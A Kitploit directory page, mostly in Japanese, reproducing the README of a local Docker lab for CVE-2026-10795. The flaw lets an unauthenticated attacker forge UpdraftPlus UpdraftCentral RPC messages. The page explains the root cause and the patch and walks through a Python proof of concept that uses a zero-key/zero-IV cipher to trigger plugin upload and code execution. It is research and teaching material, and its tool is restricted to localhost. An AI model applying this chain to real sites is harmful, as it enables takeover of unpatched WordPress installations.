Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-10795-Lab | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-10795-lab
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubrootdirective-sec/cve-2026-10795-lab

CVE-2026-10795-Lab

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC 認証バイパスを連鎖させてプラグインをインストール

概要

このリポジトリには、UpdraftPlus WordPress プラグインの UpdraftCentral リモート通信レイヤーに影響を与える、未認証の認証バイパス脆弱性である CVE-2026-10795 を再現・検証するためのローカル Docker ラボが含まれています。

脆弱な動作は UpdraftCentral の RPC メッセージ処理フローに存在します。脆弱なバージョンでは、偽造された format=1 RPC メッセージが署名検証をバイパスし、失敗する RSA 復号パスを引き起こしつつ、予測可能な null キー/null IV の動作で対称復号に到達できます。これにより、巧妙に細工された暗号化 RPC メッセージが UpdraftCentral コマンドとして受け入れられ、ディスパッチされる可能性があります。

このラボでは、2 つの UpdraftPlus バージョンを比較しています:

ServiceUpdraftPlus versionPurposeURL
vuln1.26.4脆弱な比較対象http://127.0.0.1:8081
patched1.26.5パッチ適用済みの比較対象http://127.0.0.1:8082

実証されるチェーンは次のとおりです:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint

root@kitploit:~
主な脆弱性は認証バイパスです。このラボは、特権を持つUpdraftCentralキー状態が存在する場合、バイパスをRCE型の影響に連鎖させることができることを示しています。これは、UpdraftCentralがWordPressプラグインをインストールおよびアクティブ化できる正規のプラグイン管理コマンドを公開しているためです。

これは直接的なコマンドインジェクションの脆弱性ではありません。コード実行の証明は、RPC認証境界をバイパスした後に、認証済みプラグインインストール機能を悪用することから得られます。

このラボは、制御されたローカル研究、ソースレベルでの理解、およびポートフォリオデモンストレーションのみを目的として設計されています。

## 検証済みの事実

| 主張                                                                  | 証拠                                                                                              | このラボでの検証方法                                          |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| このラボではUpdraftPlus 1.26.4に脆弱性があります。                          | 脆弱なサービスは、偽造された`format=1` RPCメッセージを受け入れ、`plugin.upload_plugin`をディスパッチします。 | `python3 poc/poc.py --url http://127.0.0.1:8081`を実行します。              |
| このラボではUpdraftPlus 1.26.5が偽造メッセージをブロックします。              | パッチ適用済みサービスはRPC応答ボディを返さず、偽造コマンドをディスパッチしません。            | `python3 poc/poc.py --url http://127.0.0.1:8082`を実行します。              |
| この問題はUpdraftCentral RPCレイヤーにおける認証バイパスです。 | 脆弱なバージョンでは、偽造された未認証RPCリクエストがコマンドディスパッチに到達できます。            | ポート`8081`と`8082`の間で`--ping`の動作を比較します。         |
| このラボはマーカープラグインを事前インストールしません。                        | セットアップはWordPress、UpdraftPlus、およびローカルのUpdraftCentralキー状態のみをインストールします。                 | PoCを実行する前に`/wp-json/cve-lab/v1/id`を確認します。             |
| PoCは偽造RPCを通じてマーカープラグインをインストールします。                 | PoCはRPCデータフィールドにZIPプラグインペイロードを含む`plugin.upload_plugin`を送信します。                 | PoCを実行し、その後`/wp-json/cve-lab/v1/id`をリクエストします。             |
| 脆弱なターゲットはRCE型の影響に到達します。                        | マーカープラグインは`/usr/bin/id`の出力を返すハードコードされたエンドポイントを公開します。                    | 脆弱なターゲットは`uid=33(www-data) gid=33(www-data)`を返します。 |
| パッチ適用済みターゲットはマーカープラグインをインストールしません。                 | マーカーエンドポイントはパッチ適用済みサービスで`404 rest_no_route`を返します。                               | `http://127.0.0.1:8082`に対してPoCを実行します。                       |
| このラボにはUpdraftCentralキー状態が必要です。                          | UpdraftCentralのディスパッチはローカルキーエントリと関連するメタデータに依存します。                         | `scripts/setup-wordpress.sh`を確認します。                               |

## 前提条件と未知の事項

このラボは、リモートコントロールが設定されたサイト状態を再現するために、ローカルのUpdraftCentralキー状態を意図的にシードします。

シードされたキー状態はラボの前提条件であり、脆弱性そのものではありません。これにより、ラボは脆弱なRPC解析および復号パスを一貫して実行できます。

このラボは、すべてのUpdraftPlusインストールが直ちに悪用可能であると主張するものではありません。実証された連鎖は、特権を持つWordPressユーザーに関連付けられたUpdraftCentralローカルキーエントリの存在に依存します。

このラボは、ハードコードされた`/usr/bin/id`証明エンドポイントを公開するマーカープラグインをインストールすることで、制御されたRCE型の影響を示します。汎用ウェブシェル、任意コマンド実行パラメータ、リバースシェル、永続化メカニズム、認証情報の窃取、外部コールバックは提供しません。

PoCはローカルターゲットのみを対象としており、デフォルトで非ローカルホスト名を拒否します。

## 根本原因の概要

根本原因は、脆弱なバージョンのUpdraftPlusにおけるUpdraftCentral RPCメッセージの不適切な検証です。

脆弱なRPCフローは`format=1`メッセージを受け入れます。`format=1`パスは、新しいメッセージ形式と同じ署名検証を必要としません。

概要レベルの問題は次のとおりです:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

脆弱な動作では、RSA復号は以下を返すことがあります:```text false

root@kitploit:~
失敗した復号結果を拒否する代わりに、この脆弱なフローは処理を続行し、その値を対称復号レイヤーに渡します。

実際の脆弱なパターンは次のとおりです。```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

The problem is that $sym_key is not validated before it is used.

When $sym_key is false, the cipher setup follows a predictable null key/null IV behavior. This makes it possible to craft an encrypted RPC payload using a known zero key and zero IV.

The patched version adds a guard before the symmetric key is used:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
これにより、信頼境界が変更されます。

パッチ適用前:```text
failed RSA decrypt result could still reach symmetric decrypt

パッチ適用後:```text failed RSA decrypt result is rejected before command dispatch

root@kitploit:~
これが、脆弱なサービスが偽造されたRPCコマンドをディスパッチする一方、パッチ適用済みのサービスがそうしない理由です。

## 認証バイパスがなぜコード実行につながるのか

CVE-2026-10795は、根本的な欠陥がRPC認証およびメッセージ検証層にあるため、認証バイパスとして最も適切に説明されます。

しかし、その認証境界がバイパスされた後、攻撃者が制御するRPCメッセージは、特権的なUpdraftCentralコマンドに到達できます。

重要なコマンドパスの1つは次のとおりです:```text
plugin.upload_plugin

このコマンドは、UpdraftCentral のプラグイン管理機能の一部です。プラグインの ZIP ペイロードを受け取り、一時的な場所に書き込み、プラグインをインストールし、要求に応じてアクティブ化します。

したがって、影響の連鎖は次のとおりです。```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution

root@kitploit:~
これはコマンドインジェクションではありません。

このラボは、単一のエンドポイントを公開するマーカープラグインをインストールすることでコード実行を実演します。```text
/wp-json/cve-lab/v1/id

マーカープラグインはコマンドパラメータを受け付けません。実行できるのは次のみです:```text /usr/bin/id

root@kitploit:~
これにより、実証が制御された状態に保たれ、ラボが汎用のWebシェルに変わることを回避できます。

## ソースパッチの概要

関連するパッチの動作として、パッチ適用版はRPCメッセージ本体の復号を試みる前に、無効な対称鍵を拒否します。

重要な検証は次のとおりです。```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

これにより、RSA復号の失敗結果が予測可能な対称鍵パスになり得るという脆弱なフォールバック動作が防止されます。

実際の結果は次のとおりです。```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached

root@kitploit:~
このラボは、実際のUpdraftCentralプラグインのアップロードコマンドパスを対象とすることで、下流への影響も検証します。

関連するコマンドの動作は次のとおりです:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

パッチ適用版は、このコマンドパスに到達する前に偽造メッセージをブロックします。

ソースレベルでのウォークスルー

このセクションでは、脆弱なパスをソースコードレベルで説明し、各PoCステップを関連するUpdraftPlus / UpdraftCentralの動作に対応付けます。

このラボは、偽の脆弱なアプリケーションルートに依存していません。脆弱な動作は、実際のUpdraftCentral RPCリスナーと実際のUpdraftCentralプラグイン管理コマンドパスを通じて到達します。

重要なソース領域は次のとおりです。```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php

root@kitploit:~
### リスナー作成

脆弱なRPCパスは、WordPressが以下を含むPOSTリクエストを受信したときに始まります:```text
udrpc_message
format
key_name

RPCライブラリは、それらのPOSTフィールドが存在する場合、WordPressのwp_loadedにリスナーを登録します。

概念的には、フローは次のとおりです。```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }

root@kitploit:~
これは、攻撃者が特別なRESTエンドポイントや管理URLを知る必要がないことを意味します。偽造されたRPCリクエストは、通常のPOSTリクエストとしてWordPressサイトのルートに送信されます。

PoCは以下を送信します:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

リクエストは、正当なUpdraftCentralリモート通信で使用されるものと同じリスナーパスに到達します。

キー名の一致

UpdraftCentralはローカルのリモート制御キーをWordPressオプションに保存します。このラボでは、セットアップスクリプトが、脆弱なターゲットとパッチ適用済みターゲットの両方に対して、制御されたキー状態をシードします。

関連するキー名は次のとおりです:```text 0.central.updraftplus.com

root@kitploit:~
この形式は、UpdraftCentralのキーインジケーターロジックによって生成されます:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

リスナーは、暗号化されていないPOSTフィールドが期待されるキーインジケータと一致する場合にのみ続行します:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }

root@kitploit:~
したがって、PoCは次のように設定します:```python
KEY_NAME = "0.central.updraftplus.com"

これは脆弱性ではありません。テストが脆弱なRPC解析および復号パスを再現可能な方法で実行できるようにするためのラボ前提条件です。

フォーマット処理と署名バイパス

UpdraftCentralはメッセージフォーマットをサポートしています。重要な違いは次のとおりです。```text format=1 legacy path format=2 signed message path

root@kitploit:~
脆弱なコードパスでは、署名検証はフォーマットが2以上の場合にのみ行われます:```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

PoCが使用するため:```text format=1

root@kitploit:~
この署名検証ブロックはスキップされる。

これが認証バイパスの境界である。

正規の `format=2` メッセージには有効な署名が含まれていることが期待される。偽造された `format=1` メッセージには署名が不要なため、攻撃者が制御するメッセージは復号パスへ進むことができる。

### 脆弱な復号フロー

フォーマットとキー名のチェック後、リスナーは送信された `udrpc_message` を復号する。

UpdraftPlus 1.26.4 の脆弱な復号フローは、実質的に次のようになる:```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

バグは、これら2つの操作の間にあります。```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);

root@kitploit:~
RSA の復号に失敗した場合、`$rsa->decrypt()` は以下を返す可能性があります:```php
false

脆弱なバージョンは、その値を渡す前に拒否しません:```php $rij->setKey($sym_key);

root@kitploit:~
パッチ適用版では、検証を追加することでこの問題を修正しています:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

このガードはセキュリティ上重要なパッチです。RSA復号の失敗結果が対称暗号のセットアップに到達するのを防ぎます。

なぜ false が予測可能になるのか

脆弱な動作は、このphpseclibパスではsetKey(false)が安全に失敗しないため危険です。

暗号コードは提供されたキーからキー長を計算します:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;

root@kitploit:~
`$key` が `false` の場合、`strlen(false)` はゼロ長キーの場合と同様に動作します。

Rijndael の鍵長ロジックは、非常に小さな鍵サイズを有効な最小鍵長に切り上げます:```php
case $length <= 128:
    $this->key_length = 16;
    break;

暗号セットアップは、鍵とIVをNULLバイトでパディングします:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");

root@kitploit:~
したがって、攻撃者は脆弱な復号化動作を次のようにモデル化できます:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

これが、PoCがJSON RPCコマンドをローカルで暗号化し、脆弱なターゲットにその復号を成功させることができる理由です。

PoCが使用するメッセージ構造

脆弱な復号関数は、暗号化されたメッセージに次の内容が含まれることを想定しています:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body

root@kitploit:~
PoC はこの構造を手動で構築します:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

RSAブロックは意図的に無効です:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

root@kitploit:~
UpdraftPlus 1.26.4では、その無効なRSAブロックによりRSA復号が失敗しますが、その失敗は拒否されません。

UpdraftPlus 1.26.5では、復号失敗の結果は新しいガードによって拒否され、偽造されたメッセージはコマンドディスパッチに到達しません。

### 内部JSON RPCメッセージ

暗号化された内部メッセージは、通常のUpdraftCentralスタイルのJSONコマンドです。

ping検証のために、PoCは以下を使用します:```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

デフォルトのID証明では、PoCは以下を使用します:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }

root@kitploit:~
`key_name` は暗号化メッセージの外部と内部の両方に出現します。リスナーは両方が一致することを確認します:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

そのため、PoCでは両方の場所に同じキー名を含める必要があります。

ディスパッチ前のJSON検証

メッセージを復号した後、リスナーはそれをJSONとして解析します。```php $udrpc_message = json_decode($udrpc_message, true);

root@kitploit:~
メッセージには有効なコマンドが含まれている必要があります:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

また、タイムスタンプを含める必要があります:```php if (empty($udrpc_message['time'])) { die; }

root@kitploit:~
タイムスタンプは許可されたリプレイウィンドウ内にある必要があります:```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

したがって、PoC は内部の time フィールドを現在時刻に設定します。

コマンドディスパッチ

メッセージが復号化され検証された後、UpdraftCentral はコマンドをディスパッチします。

コマンドはプレフィックス形式を使用します:```text .

root@kitploit:~
例:```text
plugin.upload_plugin

これは次のようになります:```text prefix = plugin method = upload_plugin

root@kitploit:~
リスナーはプレフィックスからコマンドクラスを解決し、その後メソッドを動的に呼び出します:```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

PoC コマンドの場合:```text plugin.upload_plugin

root@kitploit:~
リスナーは呼び出しを行う:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

This is why the PoC does not need a direct command-injection sink. It reaches a legitimate privileged UpdraftCentral command after bypassing the RPC authentication boundary.

User Context and Capability Checks

The listener can set the current WordPress user from the UpdraftCentral key metadata:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }

root@kitploit:~
このラボでは、シードされたキーは次のとおりです:```text
extra_info.user_id = 1

これは、WordPressセットアップ中に作成された管理者ユーザーに関連付けられた、設定済みUpdraftCentralキーをシミュレートします。

プラグインのアップロードパスがWordPressの権限をチェックするため、これは重要です:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }

root@kitploit:~
つまり、バイパスだけでも偽造コマンドをRPCレイヤーに到達させることができます。シードされたキーメタデータによって、そのコマンドがどのWordPressユーザーコンテキストで実行されるかが決まります。

このラボでは、キーがユーザーID 1に関連付けられているため、コマンドは管理者コンテキストで実行されます。

### プラグインアップロードシンク

コマンドメソッドは次のとおりです:```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

共有アップロードハンドラは、プラグインのアップロードデータを期待します:```text filename data activate

root@kitploit:~
PoCは以下を送信します:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

アップロードハンドラはZIPの内容を一時ファイルに書き込みます:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );

root@kitploit:~
チャンク分割されていないアップロードの場合、インストールは直ちに実行されます:```php
$install_now = true;

次にハンドラーはZIPパスを構築します:```php $zip_filepath = $upload_dir.'/'.$filename;

root@kitploit:~
そして、UpdraftCentralプラグインアップグレーダーを使用してインストールします:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

インストールが成功し、activate が true の場合、コードはインストールされたプラグインを有効化します:```php if ((bool) $params['activate'] && !$is_active) { $activate = activate_plugin($data['slug']); }

root@kitploit:~
インストール成功のレスポンスには、以下が含まれます:```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

これが、偽造されたRPC認証バイパスをWordPressプラグインのインストールと有効化に連鎖させることができるソースレベルの理由です。

マーカープラグイン

マーカープラグインは、PoCによってメモリ内で生成されます。Dockerセットアップでは事前にインストールされません。

生成されたZIPには以下が含まれます:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php

root@kitploit:~
markerプラグインは1つのRESTルートを登録します:```text
/wp-json/cve-lab/v1/id

エンドポイントは以下を返します:```text lab plugin proof uid gid user id_output

root@kitploit:~
マーカープラグインによって実行される唯一のコマンドはハードコードされています:```php
shell_exec('/usr/bin/id 2>&1');

ユーザーが制御する cmd パラメータは存在しません。

これは意図的です。このラボは、一般的なウェブシェルを回避しながら、プラグインコードの実行を証明します。

パッチ適用済みターゲットが404を返す理由

パッチ適用済みサービスは、同じ偽造リクエストを受信し、同じシードされたキー状態を持ちます。

違いは、パッチ適用済みの復号ガードです:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
PoC は意図的に無効な RSA ブロックを提供するため、復号された対称鍵は無効です。

UpdraftPlus 1.26.5 では、偽造されたメッセージは JSON 解析の前、およびコマンドディスパッチの前に停止します。

したがって:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

This patched behavior proves that the lab result depends on the vulnerable UpdraftPlus RPC code path, not on the Docker harness.

PoCからソースへのマッピング

PoC コードと脆弱性の対応

PoC は非ローカルターゲットを拒否することから始まります:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts: raise ValueError("Refusing non-local target")

root@kitploit:~
これにより、スクリプトはDockerラボに限定されます。

PoCは内部RPCメッセージを構築します:```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

デフォルトのID証明が使用される場合、コマンドは次のとおりです:```python command = "plugin.upload_plugin"

root@kitploit:~
そしてデータは:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

The PoC then encrypts the inner JSON with the predictable vulnerable cipher state:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

root@kitploit:~
これは、対称暗号セットアップに `false` を渡した場合の脆弱な結果と一致します。

PoC は意図的に不正な RSA ブロックを使用します:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

結果として得られる udrpc_message は、RPC復号関数が期待するのと同じ長さプレフィックス形式で構築されます:```python sym_key_len = f"{len(bad_sym_key_b64):03x}" ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

root@kitploit:~
最後に、PoCは偽造されたRPCリクエストを送信します。```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

脆弱なターゲット上では、サーバーの応答には有効なRPCスタイルのJSONレスポンスボディが含まれます。PoCはそれを次のように扱います:```text RPC DISPATCHED

root@kitploit:~
ディスパッチ後、PoCはマーカーエンドポイントをリクエストして影響を検証します:```text
GET /wp-json/cve-lab/v1/id

marker プラグインがインストールされ、有効化されている場合、エンドポイントは次を返します:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
その出力は、偽造された未認証のRPCメッセージが特権プラグインインストールパスに到達し、ローカルラボ内で攻撃者が供給したプラグインコードを起動したことを証明しています。

## このラボが証明すること

このラボは以下の技術的連鎖を証明します:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

このラボは、すべてのインストールが前提条件なしで悪用可能であることを証明するものではありません。

このデモに必要な前提条件は次のとおりです。```text an existing UpdraftCentral local key state associated with a privileged WordPress user

root@kitploit:~
Dockerセットアップは、両方のターゲットにその前提条件を作成し、脆弱な動作とパッチ適用済みの動作の違いを公平にテストできるようにします。

## ラボの構成

このラボは、Docker Composeを使用して、2つの分離されたWordPressインストールを実行します。```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

2つのWordPressサービスは、それぞれ別のデータベースと別のUpdraftPlusバージョンで動作します:

デフォルトで公開されるサービス:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082

root@kitploit:~
セットアッププロセスは、両方のサービスに同じUpdraftCentralキー状態をシードします:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

これにより、両方のターゲットに同じ前提条件の状態が与えられます。動作の違いは、脆弱なUpdraftPlusコードとパッチ適用済みのUpdraftPlusコードの違いに起因し、ラボのセットアップの違いによるものではありません。

要件

  • Docker Desktop または Docker Engine
  • Docker Compose v2
  • Python 3
  • Python 仮想環境サポート
  • Docker イメージのビルド中のインターネットアクセス
  • requirements.txt に記載された Python パッケージ

Python 依存関係:```text requests urllib3<2 pycryptodome

root@kitploit:~
The `urllib3<2` 制約により、一部のmacOS PythonビルドでLibreSSL関連の警告を回避できます。

## クイックスタート

クリーンなラボ環境から開始します:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

セットアップログを監視する:```bash docker compose logs -f vuln_setup patched_setup

root@kitploit:~
期待されるセットアップ指標:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

入力が空です。翻訳するテキストが提供されていません。```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched

root@kitploit:~
実行中のサービスを確認:```bash
docker compose ps

Python 仮想環境を作成してアクティブ化します:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt

root@kitploit:~
脆弱なターゲットに対してデフォルトのID proofを実行します:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

パッチ適用済みのターゲットに対して同じ証明を実行してください:```bash python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
このスクリプトは意図的に `--url` オプションを必須としています。これにより、テスターは両方のサービスを自動的に攻撃するのではなく、明示的にターゲットを選択することが強制されます。

## PoC 使用方法

デフォルトの動作:```bash
python3 poc/poc.py --url <local_target_url>

脆弱なターゲットの例:```bash python3 poc/poc.py --url http://127.0.0.1:8081

root@kitploit:~
パッチ適用済みターゲットの例:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

オプションのpingのみの検証:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082

root@kitploit:~
サポートされているオプション:

| オプション | 必須   | 目的                                                     |
| ----------- | -------- | ------------------------------------------------------- |
| `--url`     | 必須     | ローカルラボのターゲットURL                             |
| `--ping`    | 任意     | ID証明の代わりに無害な偽造ping検証を実行する             |
| `--timeout` | 任意     | 秒単位のHTTPタイムアウト。デフォルト: `15`              |

受け入れ可能なターゲットホスト:```text
127.0.0.1
localhost
::1

PoC はデフォルトでローカル以外のターゲットを拒否します。

PoC の仕組み

PoC はホストマシン上で実行され、公開された Docker サービスに HTTP リクエストを送信します。

デフォルトの PoC アクションは ID 証明です。

大まかな流れは次のとおりです。```text

  1. Receive explicit --url target from the tester
  2. Refuse non-local targets
  3. Build a marker WordPress plugin ZIP in memory
  4. Create a forged UpdraftCentral RPC message
  5. Send command plugin.upload_plugin through format=1
  6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
  7. Install and activate the marker plugin
  8. Request /wp-json/cve-lab/v1/id
  9. Print the hard-coded /usr/bin/id output
root@kitploit:~
マーカープラグインは、スタンドアロンのプラグインファイルとしてリポジトリに保存されていません。PoCによってメモリ内で生成されます。

偽造されたRPCコマンドは次のとおりです:```text
plugin.upload_plugin

RPCデータには以下が含まれています:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true

root@kitploit:~
PoCは、以下を使用して内部のJSON RPCメッセージを暗号化します:```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

また、意図的に無効なRSA暗号化対称キーブロックも含まれています。

脆弱なバージョンでは、RSA復号の失敗は拒否されません。メッセージは予測可能なnullキー復号パスに進み、偽造されたコマンドが送出されます。

パッチ適用済みバージョンでは、無効な対称鍵が拒否され、偽造されたコマンドは送出されません。

Why --ping Exists

--ping オプションはデバッグ支援ツールです。

これは、暗号バイパスとRPCディスパッチの境界のみを検証します。プラグインをアップロードせず、/usr/bin/id も実行しません。

デフォルトのID証明が機能せず、障害を切り分ける必要がある場合は、--ping を使用してください。

--ping が失敗した場合、問題はおそらくコマンド実行前にあります:```text wrong key state wrong key_name message format issue encryption mismatch listener not active patched behavior

root@kitploit:~
`--ping` が成功しても ID 証明が失敗する場合、問題はおそらくディスパッチ後です。```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

期待されるping動作:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED

root@kitploit:~
## 期待される結果

### 脆弱なターゲット

コマンド:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

期待される脆弱なシグナル:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2

ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
### パッチ適用済みターゲット

コマンド:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

